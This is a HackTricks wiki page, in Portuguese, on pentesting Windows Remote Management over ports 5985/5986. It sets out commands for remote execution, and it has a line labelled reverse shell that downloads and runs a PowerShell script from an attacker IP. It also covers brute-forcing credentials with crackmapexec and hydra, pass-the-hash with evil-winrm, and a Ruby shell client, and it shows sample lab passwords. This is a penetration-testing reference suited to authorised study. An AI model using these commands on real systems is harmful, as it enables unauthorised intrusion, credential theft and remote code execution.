hacktricks/src/network-services-pentesting/5985-5986-pentesting-winrm.md

265 lines
11 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 5985,5986 - Pentesting WinRM
{{#include ../banners/hacktricks-training.md}}
## WinRM
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) é destacado como um **protocolo da Microsoft** que permite a **gerência remota de sistemas Windows** através de HTTP(S), aproveitando o SOAP no processo. É fundamentalmente alimentado pelo WMI, apresentando-se como uma interface baseada em HTTP para operações WMI.
A presença do WinRM em uma máquina permite uma administração remota simples via PowerShell, semelhante ao funcionamento do SSH em outros sistemas operacionais. Para determinar se o WinRM está operacional, é recomendável verificar a abertura de portas específicas:
- **5985/tcp (HTTP)**
- **5986/tcp (HTTPS)**
Uma porta aberta da lista acima significa que o WinRM foi configurado, permitindo assim tentativas de iniciar uma sessão remota.
### **Iniciando uma Sessão WinRM**
Para configurar o PowerShell para WinRM, o cmdlet `Enable-PSRemoting` da Microsoft entra em cena, configurando o computador para aceitar comandos remotos do PowerShell. Com acesso elevado ao PowerShell, os seguintes comandos podem ser executados para habilitar essa funcionalidade e designar qualquer host como confiável:
```bash
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
```
Essa abordagem envolve adicionar um curinga à configuração `trustedhosts`, um passo que requer consideração cautelosa devido às suas implicações. Também é observado que alterar o tipo de rede de "Público" para "Trabalho" pode ser necessário na máquina do atacante.
Além disso, o WinRM pode ser **ativado remotamente** usando o comando `wmic`, demonstrado da seguinte forma:
```bash
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
```
Este método permite a configuração remota do WinRM, aumentando a flexibilidade na gestão de máquinas Windows à distância.
### Testar se está configurado
Para verificar a configuração da sua máquina de ataque, o comando `Test-WSMan` é utilizado para checar se o alvo tem o WinRM configurado corretamente. Ao executar este comando, você deve esperar receber detalhes sobre a versão do protocolo e wsmid, indicando uma configuração bem-sucedida. Abaixo estão exemplos demonstrando a saída esperada para um alvo configurado em comparação a um não configurado:
- Para um alvo que **está** corretamente configurado, a saída será semelhante a isto:
```bash
Test-WSMan <target-ip>
```
A resposta deve conter informações sobre a versão do protocolo e wsmid, significando que o WinRM está configurado corretamente.
![](<../images/image (582).png>)
- Por outro lado, para um alvo **não** configurado para WinRM, isso resultaria na ausência de informações detalhadas, destacando a falta de uma configuração adequada do WinRM.
![](<../images/image (458).png>)
### Executar um comando
Para executar `ipconfig` remotamente em uma máquina alvo e visualizar sua saída, faça:
```bash
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
```
![](<../images/image (151).png>)
Você também pode **executar um comando do seu console PS atual via** _**Invoke-Command**_. Suponha que você tenha localmente uma função chamada _**enumeration**_ e você queira **executá-la em um computador remoto**, você pode fazer:
```bash
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
```
### Execute um Script
```bash
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
```
### Obter reverse-shell
```bash
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
```
### Obter uma sessão PS
Para obter um shell interativo do PowerShell, use `Enter-PSSession`:
```bash
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)
```
![](<../images/image (1009).png>)
**A sessão será executada em um novo processo (wsmprovhost) dentro da "vítima"**
### **Forçando o WinRM a Abrir**
Para usar PS Remoting e WinRM, mas o computador não está configurado, você pode habilitá-lo com:
```bash
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
```
### Salvando e Restaurando sessões
Isso **não funcionará** se o **idioma** estiver **constrangido** no computador remoto.
```bash
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1
```
Dentro dessas sessões, você pode carregar scripts PS usando _Invoke-Command_
```bash
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
```
### Erros
Se você encontrar o seguinte erro:
`enter-pssession : Conectando ao servidor remoto 10.10.10.175 falhou com a seguinte mensagem de erro : O cliente WinRM não pode processar a solicitação. Se o esquema de autenticação for diferente de Kerberos, ou se o computador cliente não estiver associado a um domínio, então o transporte HTTPS deve ser usado ou a máquina de destino deve ser adicionada à configuração TrustedHosts. Use winrm.cmd para configurar TrustedHosts. Observe que os computadores na lista TrustedHosts podem não estar autenticados. Você pode obter mais informações sobre isso executando o seguinte comando: winrm help config. Para mais informações, veja o tópico de ajuda about_Remote_Troubleshooting.`
A tentativa no cliente (informações de [aqui](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
```ruby
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
```
## Conexão WinRM no Linux
### Força Bruta
Tenha cuidado, a força bruta no winrm pode bloquear usuários.
```ruby
#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
```
### Usando evil-winrm
```ruby
gem install evil-winrm
```
Leia **documentação** em seu github: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
```
Para usar evil-winrm para se conectar a um **endereço IPv6**, crie uma entrada dentro de _**/etc/hosts**_ definindo um **nome de domínio** para o endereço IPv6 e conecte-se a esse domínio.
### Pass the hash com evil-winrm
```ruby
evil-winrm -u <username> -H <Hash> -i <IP>
```
![](<../images/image (680).png>)
### Usando uma máquina PS-docker
```
docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
```
### Usando um script Ruby
**Código extraído daqui:** [**https://alamot.github.io/winrm_shell/**](https://alamot.github.io/winrm_shell/)
```ruby
require 'winrm-fs'
# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
# https://alamot.github.io/winrm_shell/
conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)
class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end
command=""
file_manager = WinRM::FS::FileManager.new(conn)
conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end
```
## Shodan
- `port:5985 Microsoft-HTTPAPI`
## Referências
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
## Comandos Automáticos HackTricks
```
Protocol_Name: WinRM #Protocol Abbreviation if there is one.
Port_Number: 5985 #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p MySuperSecr3tPass123!
https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/
ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory or -s to upload scripts (sherlock)
menu
invoke-binary `tab`
#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))
https://book.hacktricks.wiki/en/network-services-pentesting/5985-5986-pentesting-winrm.html
Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
```
{{#include ../banners/hacktricks-training.md}}